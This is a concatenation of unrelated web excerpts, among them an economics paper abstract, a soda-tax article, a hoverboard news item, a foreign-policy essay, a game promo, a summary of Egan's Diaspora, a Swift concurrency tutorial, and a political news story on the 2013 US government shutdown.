-Estimating Individual Ambiguity Aversion: A Simple Approach  NBER Working Paper No. 20982  Issued in February 2015  NBER Program(s):Environment and Energy Economics, Public Economics  We introduce a simple, easy to implement instrument for jointly eliciting risk and ambiguity attitudes. Using this instrument, we structurally estimate a two-parameter model of preferences. Our findings indicate that ambiguity aversion is significantly overstated when risk neutrality is assumed. This highlights the interplay between risk and ambiguity attitudes as well as the importance of joint estimation. In addition, over our stakes levels we find no difference in the estimated parameters when incentives are real or hypothetical, raising the possibility that a simple hypothetical question can provide insights into an individuals preferences over ambiguity in such economic environments.  Acknowledgments  Machine-readable bibliographic record - MARC, RIS, BibTeX  Document Object Identifier (DOI): 10.3386/w20982  Users who downloaded this paper also downloaded* these:
-Seattle, Washington is the latest city to consider a tax on sugary beverages. In his February 21 State of the City address, Mayor Ed Murray proposed a tax of 2 cents per ounce on the distribution of sugary drinks (i.e., energy drinks, juice, soda, and sweetened teas). If approved, the tax could generate as much as $16 million annually, which would go towards improving education in the city.  Specifically, the funds would be earmarked for the Education Action Agenda, which has a mission to “eliminate the opportunity gap between white students and African American/Black students and other historically underrepresented students of color.” The city would use the revenue to expand Birth-to-Five programs as well as before and after school programs, support educator workforce diversity, reduce disproportionality in discipline, and more.  Mayor Murray emphasized the amount of revenue a soda tax could generate, as the city desperately needs more money for education. That’s true for the state of Washington, too. Education has been underfunded in the state for decades, meaning that “Washington is failing to meet its constitutional obligations for fully funding K-12 basic education.” Governor Jay Inslee (D) hasn’t called for a statewide tax on sugary beverages, but his proposed budget for 2017–19 includes repealing the sales and use tax exemption for bottle water.  The proposed Seattle soda tax is about money. But it’s also about health. The mayor pointed out that the Centers for Disease Control and Prevention finds soda taxes to be “the single most effective remedy to reverse the obesity epidemic” because they help decrease consumption. The health benefits of taxing sugary beverages have been part of tax debates in other parts of the country as well.
-Pereira, however, says the legal battles won't deter him from pursuing this business opportunity.  "They could go after me but I'm about pushing public transportation," he said.  Several Chinese factories pump out thousands of units a day under various names including Oxboard, Cyboard, Future Foot, Monorover, Airboard, Freego, Esway and Overoad.  The Üüboard sells for $949 and comes with a one-year warranty, but rival products are available for between about $600 and $1,800 US. Hüüver's Chinese supplier, Cube Electronics Tech, said on its website they can be purchased directly for up to $200 US.  While the various models look alike and carry similar features, Pereira said they're not identical. Some are a little slower, sluggish and less durable, he said.  Pereira said the Üüboard can work up to nine hours on a 135-minute charge. Weighing 22 pounds, it can carry people between 50 and 350 pounds.  The hoverboards can be used on urban bike lanes and sidewalks, but Pereira said he's been asked to put it away at a Blue Jays game and in some shopping malls.  Despite its $1,800 US price tag, the IO Hawk has had trouble keeping up with demand since it entered the U.S. market in February and attracted the attention of celebrities and athletes.  Justin Bieber, NBA all-star Stephen Curry, actor Jamie Foxx and Kendall Jenner have all been seen using the device or a slightly cheaper brand, PhunkeeDuck.  Rapper Wiz Khalifa was in the news recently when he claimed to be arrested at the Los Angeles airport for riding the device he called a "hoverboard" even though it has wheels that firmly touched the ground.  The Canadian Press
-Whether or not the U.S. is declining is the wrong question  As co-chair of the editorial board of the journal International Security, I couldn’t be more delighted by the attention that Michael Beckley’s article questioning China’s rise (and America’s supposed decline) is getting. See here, here, and here. But I fear that people who are seizing on Beckley’s article to pooh-pooh fears of U.S. decline — including our own Daniel Drezner — are mostly asking the wrong question.  As I’ve noted elsewhere, the issue isn’t whether the United States is about to fall the from the ranks of the great powers, or even be equaled (let alone surpassed) by a rising China. The world may be evolving toward a more multipolar structure, for example, but the United States is going to be one of those poles, and almost certainly the strongest of them, for many years to come.  Instead, the real issue is whether developments at home and overseas are making it harder for the United States to exercise the kind of dominant influence that it did for much of the latter half of the 20th century. The United States had a larger share of global GDP in the 1940s and 1950s, and it wasn’t running enormous budget deficits. The United States was seen as a reliable defender of human rights, and its support for decolonization after World War II had won it many friends in the developing world. It also had good relations with a variety of monarchies and dictatorships, which it justified as part of the struggle against communism. These features allowed the United States to create and lead combined economic, security and political orders in virtually every corner of the world, except for the portions directly controlled by our communist rivals. And the U.S. and its allies eventually won that struggle too, driving the USSR into exhaustion and watching the triumph of market economies and more participatory forms of government throughout the former communist world.  The United States remains very powerful — especially when compared with some putative opponents like Iran — but its capacity to lead security and economic orders in every corner of the world has been diminished by failures in Iraq (and eventually, Afghanistan), by the burden of debt accumulated over the past decade, by the economic melt-down in 2007-2008, and by the emergence of somewhat stronger and independent actors in Brazil, Turkey, India, and elsewhere. One might also point to eroding national infrastructure and an educational system that impresses hardly anyone. Moreover, five decades of misguided policies have badly tarnished America’s image in many parts of the world, and especially in the Middle East and Central Asia. The erosion of authoritarian rule in the Arab world will force new governments to pay more attention to popular sentiment — which is generally hostile to the broad thrust of U.S. policy in the region — and the United States will be less able to rely on close relations with tame monarchs or military dictators henceforth. If it the United States remains far and away the world’s strongest state, its ability to get its way in world affairs is declining.  All this may seem like a hair-splitting, but there’s an important issue at stake. Posing the question in the usual way ("Is the U.S. Still #1?", "Who’s bigger?", "Is China Catching Up?" etc.,) focuses attention primarily on bilateral comparisons and distracts us from thinking about the broader environment in which both the United States and China will have to operate. The danger, of course, is that repeated assurances that America is still on top will encourage foreign policy mandarins to believe that they can continue to make the same blunders they have in the recent past, and discourage them from making the strategic choices that will preserve U.S. primacy, enhance U.S. influence, and incidentally, produce a healthier society here at home.
-The Total War™: ROME II Collector’s Edition will be produced in a single, extremely limited run; only 22,000 individually numbered copies will be manufactured.  The CE contains a wealth of bespoke, Roman-themed games and items, bound in a leather-effect presentation box, complete with gold logo and magnetic closure; including:  Numbered copy of Total War™: ROME II The most ambitious and expansive game in the Total War™ series to date, ROME II brings the statecraft, politics, intrigue, diplomacy and epic battles of the ancient world to life in thrilling detail. This version comes in a debossed Steelbook™ case, laser-etched with your unique collector’s number in Roman numerals.  Tabula set The Roman forerunner to Backgammon, this Tabula set comprises 30 bone-effect game-pieces supplied in their own burlap drawstring bag, while the board is built into the base of the Collector’s Edition box.  Tesserae Dice Three replica bone-effect dice for use in a variety of games. The design is based on original Roman Tesserae, found at the archaeological site of Herculaneum.  Total War Cards™: Punic Wars Designed from the ground up to echo elements from ROME II, Total War Cards is a game of skill and luck for two players. Involving combat, territorial control, resource management and technological development, PUNIC WARS consists of 58 high-quality playing cards and a game-board printed with the PUNIC WARS tech-tree.  Canvas Campaign Map A reminder of the worlds you must conquer, this ribbon-tied canvas map depicts each of the 57 provinces of the ROME II campaign.  Roman Onager A complete, fully-functional Onager, or Roman siege catapult. This easy-to-assemble kit is constructed from weathered wood and steel, measures 26cm x 12cm x 12cm, and is capable of unleashing mall projectiles at a variety of inanimate objects which may have affronted the glory of your empire.  A remarkable way to mark over 10 years of Total War games and Creative Assembly’s 25th Anniversary, the Total War™: ROME II Collector’s Edition is only available through selected retailers.  We will endevor to keep this page up to date with availbility listed, but please bear in mind we will only be doing a single run of these and once they are sold out we will not be making anymore.  US [SEGA Store]  Spain [Xtralife] [Gameshop] [TUTIENDADEVIDEOJUEGOS] [FNAC]  Belgium [Smartoys] [Playerone]  Sweden [CDON] [Game] [Discshop] [Webhallen]  Finland [Verkkokauppa] [Discshop] [CDON] [VPD]  Norwary [Gamezone] [Spaceworld] [CDON]  Denmark [CDON]  Head to the Pre-orders page for more infomation on the Greek States & where to get a standard copy.  Total War Cards: Punic Wars
-Diaspora is a hard science fiction novel by the Australian writer Greg Egan which first appeared in print in 1997. It originated as the short story "Wang's Carpets" which originally appeared in the Greg Bear-edited anthology New Legends (Legend, London, 1995). The story appears as a chapter of the novel.  Setting and premise [ edit ]  An appended glossary explains many of the specialist terms in the novel. Egan invents several new theories of physics, beginning with Kozuch Theory, the dominant physics paradigm for nearly nine hundred years before the beginning of the novel. Kozuch Theory treats elementary particles as semi-point-like wormholes, whose properties can be explained entirely in terms of their geometries in six dimensions. Certain assumptions common to Egan's works inform the plot.  This novel's setting is a posthuman future, in which transhumanism long ago (during the mid 21st century) became the default philosophy embraced by the vast majority of human cultures.  Most of the characters choose a neutral gender; Keri Hulme's gender-neutral pronouns "ve", "vis", and "ver" are used for them.  By 2975 CE (Universal Time), the year in which the novel begins, humanity has "speciated" into three distinct groupings:  fleshers , biological societies consisting of statics , the original, naturally-evolving race of Homo sapiens , and a wide variety of exuberant derivatives, who have modified their genes beyond the static baseline. These include enhancements such as disease-resistance, life-extension, intelligence-amplification, and the ability to allow selected transhumans to thrive in new environments, such as the sea. There even exists a subculture (the dream apes) whose ancestors bred out the capacity for speech and some of the higher brain-functions, apparently in order to attain a primal innocence and rapport with nature. In contrast to 21st-century society prior to the novel's "Introdus" event, the vast profusion of qualitatively different types of fleshers has made any sort of global civilisation impossible. This divergence has prompted the development of a culture of "Bridgers" who modify their own minds to form a chain of intermediates between exuberant strains.  , biological societies consisting of , the original, naturally-evolving race of , and a wide variety of derivatives, who have modified their genes beyond the static baseline. These include enhancements such as disease-resistance, life-extension, intelligence-amplification, and the ability to allow selected transhumans to thrive in new environments, such as the sea. There even exists a subculture (the dream apes) whose ancestors bred out the capacity for speech and some of the higher brain-functions, apparently in order to attain a primal innocence and rapport with nature. In contrast to 21st-century society prior to the novel's "Introdus" event, the vast profusion of qualitatively different types of fleshers has made any sort of global civilisation impossible. This divergence has prompted the development of a culture of "Bridgers" who modify their own minds to form a chain of intermediates between exuberant strains. gleisner robots , individual software-based intelligences housed inside artificial anthropoid, or flesher-shaped, physical bodies (from a design by a corporation named Gleisner [1] ) who interact with the world in flesher-paced "real time," a trait which they regard as important, as they consider the polis citizens too remote and solipsistic. The gleisners live in space, mostly in the asteroid belt, and in various other places in the Solar System; Egan implies that they long ago agreed to leave Earth to the fleshers to avoid conflict. They eventually implement a program of interstellar exploration using a fleet of 63 ships, targeting the nearest 21 stars.  , individual software-based intelligences housed inside artificial anthropoid, or flesher-shaped, physical bodies (from a design by a corporation named Gleisner ) who interact with the world in flesher-paced "real time," a trait which they regard as important, as they consider the polis citizens too remote and solipsistic. The gleisners live in space, mostly in the asteroid belt, and in various other places in the Solar System; Egan implies that they long ago agreed to leave Earth to the fleshers to avoid conflict. They eventually implement a program of interstellar exploration using a fleet of 63 ships, targeting the nearest 21 stars. the citizens,[2] intelligence as disembodied computer software running entirely within simulated reality-based communities known as polises.[3] These represent the majority by far of "humanity" in the novel, followed in a distant second place by the gleisners. Together with vast networks of sensors, probes, drones and satellites throughout the Solar system, they collectively make up the Coalition of Polises, the backbone and bulk of human civilisation. They interact primarily in virtual environments called scapes, through the use of avatars or icons. The citizens of the Coalition view the gleisners and their colonial aspirations as puerile and ultimately futile, believing that only "bacteria with spaceships. . . knowing no better and having no choice" would attempt to deface the galaxy with mass colonisation, especially if virtual realities afford limitless possibilities at a small fraction of the total resource-consumption.  Diaspora focuses in large part on the nature of life and intelligence in a post-human context, and questions the meaning of life and the meaning of desires. If, for instance, the meaning of human life and human desires is bound up with ancestral human biology ("to spread one's genes"), then what meaning do lives and desires have, and what serves as the basis of values when biology no longer forms a part of life?  Plot summary [ edit ]  Diaspora begins with a description of "orphanogenesis", the birthing of a citizen without any ancestors (the majority of citizens descend from fleshers uploaded at some point), and the subsequent upbringing of the newborn Yatima within Konishi polis. Yatima matures within a few real-time days, because citizens' subjective time runs about 800 times as rapidly as flesher and gleisner time. Early on, Yatima and a friend, Inoshiro, use abandoned gleisner bodies to visit a Bridger colony near the ruins of Atlanta on Earth.  Years later, the gleisner Karpal, using a gravitational-wave detector, determines that a binary neutron star system in the constellation of Lacerta has collapsed, releasing a huge burst of energy. Previous predictions portrayed the system's stable orbit as likely to last for another seven million years. By analysing irregularities in the orbit, Karpal discovers that the devastating burst of energy will reach Earth within the next four days. Yatima and Inoshiro return to Earth to urge the fleshers—gathered in a conference—either to migrate to the polises or at least to shelter themselves. Many fleshers reject this advice, or fail fully to appreciate its urgency quickly enough. Stirred up by a paranoid Static diplomat, many fleshers suspect that Yatima and Inoshiro have come to trick or coerce them into "Introdus", or mass-migration into the polises, involving masses of virus-sized nanomachines that dismantle a human body and record the brain's information states as it is chemically converted into a crystalline computer. The gamma ray burst reaches Earth shortly after the conference, destroying the atmosphere and causing a mass extinction. The gleisners and the Coalition of Polises survive the burst, thanks to cosmic radiation hardening. Over the next few years, Yatima and other citizens and gleisners attempt to rescue any surviving fleshers from slow suffocation, starvation, or poisoning by offering to upload them into the polises.  The novel's title itself refers to a quest undertaken by most of the inhabitants of Carter-Zimmerman ("C-Z"), a polis devoted to physics and understanding the cosmos, along with volunteers from throughout the Coalition of Polises. The Diaspora consists of a collection of one thousand clones (digital copies) of C-Z polis, deployed toward stars in all directions in the hope of gathering as much data as possible in order to revise the long-held classical understanding of Kozuch Theory, which had failed to predict the Lacerta event. The bulk of the novel follows this expedition, rotating back and forth between different cloned instances of the same cast of main characters as different C-Z clones make discoveries along the way, relaying information to one another over hundreds of light years—and finally between universes.  Characters [ edit ]  Yatima [4] appears as an Orphan, a being formed by the Konishi polis conceptory rather than by a parent or parents. A central character in the novel, ve usually takes the iconic form of an African herdsman in a purple robe. Yatima exhibits a deep love of mathematics and a desire to explore the unknown.  appears as an Orphan, a being formed by the Konishi polis rather than by a parent or parents. A central character in the novel, ve usually takes the iconic form of an African herdsman in a purple robe. Yatima exhibits a deep love of mathematics and a desire to explore the unknown. Blanca , who habitually uses the icon of a featureless black silhouette, also inhabits the Konishi polis. One of the first three people that Yatima meets and a physicist and scape-architect, Blanca has a reputation as an acknowledged expert on Kozuch Theory throughout the Coalition of Polises.  , who habitually uses the icon of a featureless black silhouette, also inhabits the Konishi polis. One of the first three people that Yatima meets and a physicist and scape-architect, Blanca has a reputation as an acknowledged expert on Kozuch Theory throughout the Coalition of Polises. Inoshiro , another of Yatima's earliest friends, uses an icon featuring metallic, pewter-grey skin. A native of Konishi but a frequenter of Ashton-Laval, a polis of great artistic merit, ve proudly considers verself delinquent. Inoshiro frequently attempts to attract Yatima away from philosophical Konishi and into more aesthetic and avant-garde pursuits. Inoshiro originates the idea of visiting the fleshers of Atlanta in ancient gleisner bodies.  , another of Yatima's earliest friends, uses an icon featuring metallic, pewter-grey skin. A native of Konishi but a frequenter of Ashton-Laval, a polis of great artistic merit, ve proudly considers verself delinquent. Inoshiro frequently attempts to attract Yatima away from philosophical Konishi and into more aesthetic and pursuits. Inoshiro originates the idea of visiting the fleshers of Atlanta in ancient gleisner bodies. Gabriel , Yatima's third early friend, has an icon covered in short, golden-brown fur. Gabriel, Blanca's lover and another great physicist, differs from most polis citizens in having chosen for himself a specific (though non-functional) gender, a trait considered eccentric and perhaps perverted by many citizens of the Coalition.  , Yatima's third early friend, has an icon covered in short, golden-brown fur. Gabriel, Blanca's lover and another great physicist, differs from most polis citizens in having chosen for himself a specific (though non-functional) gender, a trait considered eccentric and perhaps perverted by many citizens of the Coalition. Karpal , a gleisner astronomer who lives on the surface of the Moon, first discovers the collapse of Lac G-1 in Lacerta. He later leaves his robotic body and gleisner society to transmigrate to the Carter-Zimmerman polis, seeking a more profound understanding of physics, unavailable to creatures whose minds remain programmed to think of things in terms of their bodies.  , a gleisner astronomer who lives on the surface of the Moon, first discovers the collapse of Lac G-1 in Lacerta. He later leaves his robotic body and gleisner society to transmigrate to the Carter-Zimmerman polis, seeking a more profound understanding of physics, unavailable to creatures whose minds remain programmed to think of things in terms of their bodies. Orlando Venetti , originally a leader of the Bridger colony of Atlanta; he and his mate Liana Zabini first welcome Inoshiro and Yatima upon their arrival in gleisner form. In the Lacerta Event, Liana dies but the visitors from Konishi rescue Orlando and bring him into the polis; he joins the Diaspora, and thanks to his Bridger training he makes the first interactive contact with an alien intelligence. Before joining the Diaspora he creates a son, Paolo, who ultimately joins Yatima in exploring higher-dimensional spacetime on the trail of the "Transmuters".  , originally a leader of the Bridger colony of Atlanta; he and his mate Liana Zabini first welcome Inoshiro and Yatima upon their arrival in gleisner form. In the Lacerta Event, Liana dies but the visitors from Konishi rescue Orlando and bring him into the polis; he joins the Diaspora, and thanks to his Bridger training he makes the first interactive contact with an alien intelligence. Before joining the Diaspora he creates a son, Paolo, who ultimately joins Yatima in exploring higher-dimensional spacetime on the trail of the "Transmuters". Radiya is Yatima's first mentor in abstract mathematics and in exploration of the "Truth Mines", Konishi’s metaphoric representation of the world of mathematical theorems. Vis icon is a fleshless skeleton made of twigs and branches, with a skull carved from a knotted stump.  is Yatima's first mentor in abstract mathematics and in exploration of the "Truth Mines", Konishi’s metaphoric representation of the world of mathematical theorems. Vis icon is a fleshless skeleton made of twigs and branches, with a skull carved from a knotted stump. Hermann , an extremely eccentric member of the Diaspora, often appears as a segmented worm with six flesher-shaped feet attached to elbow-jointed legs, based on the curl-up from the work of M. C. Escher. Very old (a member of the original 21st-century Introdus), Hermann describes verself as vis own great-great-grandchild because ve has reinvented vis own personality so many times during vis long life.  , an extremely eccentric member of the Diaspora, often appears as a segmented worm with six flesher-shaped feet attached to elbow-jointed legs, based on the from the work of M. C. Escher. Very old (a member of the original 21st-century Introdus), Hermann describes verself as vis own great-great-grandchild because ve has reinvented vis own personality so many times during vis long life. The Star Puppies, a group of Carter-Zimmerman citizens, elect to stay conscious, in real time, for the duration of their spaceflight in the Diaspora (most others enter a state of suspension). The Puppies take the form of space-evolved creatures dwelling in a scape representing the hull of the spacecraft, employing personality outlooks (software which accentuates specific moods & values) to ensure they feel constant joy in, and at, the universe around them and retain their sanity.  The Polises [ edit ]  Humanity began transferring itself into the polises (the Introdus) in the late 21st century UT, when the technology became feasible to effect the nanoscale transmutation of human brains into functionally indistinguishable molecular computer systems.  Many polises exist, though the novel mentions only a few. Though their physical infrastructure is not described, they apparently exist as hardware-based supercomputers of unknown size and computational ability, all probably hidden in safe places. Konishi polis, at least, lies buried deep beneath the Siberian tundra, and is multiply backed up throughout the solar system.  Each polis has its own unique character, encapsulated in a "charter" which defines its goals, philosophies, and attitudes to other polises and to the external world. Citizens are expected to heed the charter of the polis they "live" in; should they begin to disagree with the charter, they can always migrate to a polis which appears more amenable to them.  The most prominent differences between the various polises, at least in the novel, involves their attitudes toward the physical world. Polis societies range from those who wish to experience the real world of normal time and space to the wholly solipsistic who live their entire lives in esoteric, isolated virtuality.  The citizens of Konishi polis seem to concern themselves mostly with abstract mathematics and esoteric philosophical pursuits, and generally show little interest in the physical world. They use visual icons for social purposes, but regard simulated physical interaction as a violation of individual autonomy.  After the Lacerta Event, Yatima emigrates from Konishi to Carter-Zimmerman polis, which rejects the solipsism exemplified by Konishi and embraces the study of the physical universe as of paramount importance. Given the Lacerta Event, which suggests that the universe has the capability of unleashing unknown extreme dangers, Yatima has begun to share this viewpoint.  Polis time, delta, and perception [ edit ]  For internal dating and time standards the polises use CST (Coalition Standard Time), measured in tau elapsed since the adoption of the system on January 1, 2065 (UT). The novel begins at CST date 23 387 025 000 000. CST defines one tau as the amount of time in which a polis citizen can experience the passage of one second of subjective time; this elastic value changes with improvements in polis hardware. In the period of the novel a polis citizen's mind can operate at a maximum speed of about eight hundred times that of a flesher's mind, so 1 tau equals approximately 1/800 s. By the beginning of the novel, the Coalition of Polises has had just over 741,597 years of recorded history, amounting to 910 years of flesher history; almost all of the Coalition's history, about 98.3% of it, has occurred (from the flesher's perspective) within the very recent past, since the last major Coalition-wide polis hardware upgrade in UT 2750.  Nothing compels citizens to experience time at such a high rate; they can equally choose to "rush", meaning to experience consciousness at a speed slower than the maximum the polis hardware can maintain. Citizens could therefore experience consciousness at the same speed as a human flesher would, or slower, or even freeze their conscious state for a set time or until a previously determined event occurs. Citizens in Lokhande Polis have opted to experience consciousness so slowly that they can witness continental drift and geological erosion.  The polises measure distance, an arbitrary value within their virtual scapes, in "delta", which Egan does not fully explain, although the glossary indicates that citizens' icons are generally about 2 delta high, implying that one delta represents (roughly) one meter. Delta may also be fractionalised, and there is no largest or smallest distance as defined in delta.  Almost all polis citizens, except for those who specifically elect otherwise, experience the world through two sensory modalities: Linear and Gestalt, which Egan describes as distant descendants of hearing and seeing, respectively. Linear conveys information quantitatively, as a string or strings of information formulated with a language hardwired into the mind of almost all Citizens. Citizens may "speak" to one another in Linear by sending streams of data back and forth, from mind to mind — either private conversations carried on between a specific subset of intended participants, or public announcements accessible to all involved in a conversation or otherwise "listening in".  Gestalt conveys information qualitatively, and data sent or received about anything arrives all at once for interpretation by the mind of the Citizen in all its aspects simultaneously, resulting in an experience of immediacy. A citizen need not consciously consider the information sent (as in Linear): Gestalt operates rather entirely or almost entirely subconsciously. Citizens use Gestalt to create icons for themselves — "visual" representations within Scapes (Gestalt "areas" or "spaces"). Citizens also use Gestalt to convey Tags: packages of information described as like an odour or essence, which any other Citizens within a range of several delta (or who happen to "read" for specific Tags) can gather. Each Citizen has a unique Tag which identifies them as a particular person, regardless of their other appearances, and citizens may emit Tags for other purposes as well, as when Citizens need to convey and understand arbitrary information instantly. Early in the novel, for instance, Yatima learns about an asteroid in the real world by reading its tags subconsciously, which precisely inform ver about its properties such as mass, velocity, rotation, composition, emission spectra, and other such data discernible to the Coalition's satellite network. Later on on Earth, however, when ve and Inoshiro inhabit derelict Gleisner bodies, Yatima must remind verself that Fleshers are real people, even though they lack tags identifying themselves as such.  See also [ edit ]  References [ edit ]  ^ Luminous mentions the corporation Egan's short story "Transition Dreams" in the collectionmentions the corporation ^ Disembodied minds, sometimes referred to generally as infomorphs within the genre. ^ Polis in in Greek means " city state ". ^ yatima in "yatima". Internet Living Swahili Dictionary. The Kamusi Project. Archived from the original on 2011-07-20 . The wordin Swahili means "orphan"; see
-Grand Central Dispatch Crash Course for Swift 3  Yogev Sitton Blocked Unblock Follow Following Apr 20, 2017  This post is based on a short talk I gave about using GCD with Swift 3.  We have been pretty bad with using the full capabilities of GCD - using only the main serial queue and the global background queue. Hopefully this will help you learn from our lesson.  What is GCD?  Grand Central Dispatch was developed by Apple in order to simplify work with systems with multi-core processors and released with Mac OS X Snow Leopard and iOS 4.  GCD’s task parallelism is based on the thread pool pattern. Multiple threads are always available — waiting for tasks to be executed concurrently.  Since we don’t need to keep creating and destroying threads we get great performance and low execution latency.  Dispatch Queues  Dispatch queues manages tasks in FIFO order. Tasks run in the order in which they are added to the queue — the first task in the queue will be the first to start.  There are two types of dispatch queues:  Serial Queues  Execute one task at a time  Can be used to synchronize access to a specific resource  Concurrent Queues  Execute one or more tasks concurrently  Tasks are completed according to complexity and not by the order in the queue  Synchronous vs. Asynchronous  When using dispatch queues you can choose to execute your code synchronously or asynchronously.  With synchronous execution the program waits for the work to finish before returning.  With asynchronous execution the program returns immediately without waiting for the work to complete.  Thread Safety  Dispatch queues are thread safe. They can be accessed from different threads simultaneously without locking. Developers can use dispatch queues to make their own code thread safe.  Types of Dispatch Queues  Main Queue  When your app launches, the system automatically creates a serial queue and binds it to the application’s main thread. All UI tasks have to be run on the main thread.  Global Queues  There are four global concurrent queues which are provided and shared by the system.  Quality of Service attribute indicates the priority of the tasks in the queue:  User-interactive: update the UI or other small tasks that should occur instantly. Tasks in this queue are the highest priority tasks and they will run on the main thread.  User-initiated: tasks in this queue are tasks that should run immediately -like opening documents or react to user actions. Tasks should complete in a few seconds or less. Will be mapped to High priority queue.  Utility: this queue is for longer tasks that should complete immediately (think tasks with a loading bar such as downloading or importing). Tasks should complete in seconds or minutes. Will be mapped to Low priority queue.  Background: tasks that takes minutes to hours to complete — indexing, syncing, etc… This queue is energy optimized and any disk I/O actions are throttled. Will be mapped to Background priority queue.  Custom Queues  Serial queues must be created and managed by the developer. You can also create custom concurrent queues but it is encouraged to use one of the global queues instead.  Code examples  Working with system queues  Working with custom queues/  Performing background tasks and then updating the UI  Beware of deadlocks with serial queues  Beware of Synchronously running on the main thread from a synchronous background thread  Where to go from here?
-Newspaper reporter is the ‘worst job,’ study says. Do you agree?  Coming in one spot below logger this year, newspaper reporter has again been ranked the worst of the worst jobs in Career Cast’s 2016 Jobs Rated report. The explanation from the report will look familiar to many reporters: fewer available jobs, a worsening industry forecast and paltry pay.  A gradual decline in print publications at the turn of the century became a steep downturn for the past decade. Publications folding mean far fewer job prospects, and declining ad revenue means unfavorable pay for those in the Fourth Estate.  Broadcaster was rated the third-worst job, finishing behind disc jockey, military personnel and pest control worker, according to the report:  Employment of broadcasters is expected to decline by 9%, or 4,800 total positions, by 2024. Broadcasters seeking a job transition can parlay their skills into a career as a podcaster, online news producer, or data journalist. Print newspaper reporters can transfer their skills to writing for online mediums, public relations, or corporate communications jobs.  Career Cast comes up with its annual ranking by looking at the workplace environment, salary and outlook of the various jobs on its list. If you’re a print or broadcast journalist, do you agree with this year’s ranking? Why or why not? What (if anything) can individual journalists do to get off this list? Would you be slightly better off as a logger? Share your thoughts with us in the comments below, on Facebook, Twitter or email and we’ll include them here.  Share this: Facebook  Twitter  WhatsApp  LinkedIn  Reddit  Email  Print
-WASHINGTON -- Barack Obama and Harry Reid needed to clear the air. The relationship between the president and the Senate majority leader had been deteriorating since 2011, with Reid losing respect for Obama's ability to negotiate with Republicans and Obama unsure if Reid had as much control over his Senate Democratic caucus as he liked to say.  So at the White House's invitation, the two met in the Oval Office on July 9, with no staff, to talk one on one. It was a cathartic moment, one in which long-buried tensions were fully aired. Aides to the two men tell a similar story: Their boss had been losing confidence in his counterpart and wanted the meeting as a way to buck up the other.  Reid (D-Nev.) pressed the president hard on the 2011 debt ceiling compromise that the White House had cut with the GOP, which ultimately gave the country sequestration. He complained that Vice President Joe Biden had undercut fiscal cliff negotiations at the end of 2012, when Senate Minority Leader Mitch McConnell (R-Ky.) was offered a more generous deal on tax revenue and sequester spending than Reid felt he could have crafted.  It didn't escape his notice, Reid said, that the deal Biden made conveniently postponed the budget cuts two months, or just long enough to allow the Inauguration and the State of the Union address to pass without the sequester's shadow. Senate Democrats had been pushing for a two-year delay and had been prepared to settle for just one.  Now, in July of this year, the country was feeling sequestration's effects. Head Start classes were shuttered, scientific research imperiled, cancer treatments hampered, and the broad concept of functioning government was under assault.  The president said that he, of course, was unhappy with the various outcomes, but had to deal with different political realities. The message of the 2010 midterm elections had been that the country wanted him to work more closely with Republicans. And when it came to the ending of the Bush-era taxes, he had to uphold his pledge that the middle class would not see a hike. More generally, he worried that the Senate Democratic caucus would end up fractured if the party pushed too hard, leading the administration to cut deals directly with McConnell.  It was a painful jab at Reid, who takes pride in his ability to hold his broad caucus together on even the most fraught legislative battles. "If you're ever wondering if I can hold my caucus, just ask me," he told Obama.  The Huffington Post put together the story of that critical meeting and the subsequent standoff negotiations through interviews with Reid, White House advisers and congressional leadership aides.  Asked about the meeting the day after the 16-day government showdown was resolved, Reid acknowledged the disagreement over the 2011 debt ceiling strategy. Pausing for a few seconds, he reflected on how his relationship with the president has evolved.  "President Obama is such a nice man, just a nice person. And he became president during an awful time," Reid told HuffPost, measuring each word. "It is easy to look back and say, 'Oh, he shouldn't have done that, or he shouldn't have renewed the payroll tax.' That's all then, this is now. A different environment. I don't want to sound like a cheerleader for Obama. He can get others to do that. But he's a good person."  That July meeting ended up being just what the two needed. "That was good," Reid would tell his chief of staff, David Krone, who'd been waiting outside with top White House aide Rob Nabors. It helped lay the groundwork for what would be a critical -- and fruitful -- political partnership during the high-stakes budget fights this fall.  Each more mindful of the other's strategic vision, Reid and Obama made a mutual commitment to legislative stubbornness. A week after the meeting, Reid threatened to gut the filibuster if Republicans didn't let through a slate of executive nominees. Republicans caved. Looking forward, the two vowed to steadfastly oppose any effort to tinker with the president's health care law as part of a continuing resolution to keep the government running. And when it came time to raise the debt ceiling weeks later, they would refuse to negotiate altogether.  Through the first government shutdown in 17 years and a near-breach of the nation's debt limit, they followed this playbook until it ultimately resulted in a Republican collapse.  "We just both came to the conclusion that the time had ended to be taken in by these crazy people," Reid said. "The president said, 'I'm not going to negotiate.' I said, 'I'm not going to negotiate.' And we didn't."  *****  During the late summer and early fall, the durability of the Obama-Reid pact would be repeatedly tested. Toward the end of August, the two men checked in again on a conference call. With the showdown over the debt ceiling and budget visible on the horizon, Reid wanted to know just how far he and his caucus should go. The daunting responsibility not to default rested with the president, Reid said, but if the president was willing to fight to the end, so were Senate Democrats.  I'm all in, the president assured him.  As the October deadline to fund the government approached, both sides momentarily assumed that fight would be avoided altogether. House Speaker John Boehner (R-Ohio) had made an informal agreement with Reid to accept a funding level of $988 billion, which would extend only for a matter of weeks. All indications suggested that Boehner would follow through, with only a ceremonial vote to defund Obamacare. In fact, one senior administration official told The Huffington Post that their main concern in the days leading up to the end of September was that McConnell, not Boehner, would buckle under pressure from his caucus.  But as the weeks counted down, the White House grew convinced that the deal would blow up, as Boehner looked to be caving in to demands to defund Obamacare.  On Oct. 1, the initial day of the shutdown, the scene inside the White House was chaotic. While the entire staff came in that morning, a sizable chunk were forced to leave hours later -- BlackBerrys turned off -- as "non-essential employees." Normal operations were upended. But the administration assured Hill Democrats that the political message remained the same: They weren't budging.  In fact, the White House was so concerned with getting the message across that a meeting was called with McConnell, Reid, Boehner and House Minority Leader Nancy Pelosi (D-Calif.) on Oct. 2, after aides privately heard from reporters that Republicans thought the president was bluffing. During that session, the president assured the speaker that his intransigence was sincere. A sullen Boehner, leaving the meeting before anyone else, complained to the waiting press corps that Obama was being unreasonable.  "It was basically all of them saying over and over again that they were not going to negotiate," a top Republican House aide briefed on the meeting told The Huffington Post. "The speaker didn't have to say a whole lot."  By that point, both Hill Democrats and White House aides had grown convinced that the shutdown would last as long as it took to raise the debt limit. Boehner couldn't capitulate two times in three weeks, their theory went, so he would combine the two together.  On Oct. 10, the president held a meeting with Senate Democrats to discuss the state of play. No one in the room questioned Reid and Obama's decision to draw hard lines over the continuing resolution and debt limit. Obama, in return, assured the caucus that he had told Boehner in previous gatherings that the $988 billion price tag to fund the government was "a floor, not a ceiling."  But concerns were creeping in that the standoff could actually lead to a debt default. The president was pressed by Senate Majority Whip Dick Durbin (D-Ill.) to reconsider the so-called constitutional option, which would have him invoke the 14th Amendment as a way to unilaterally raise 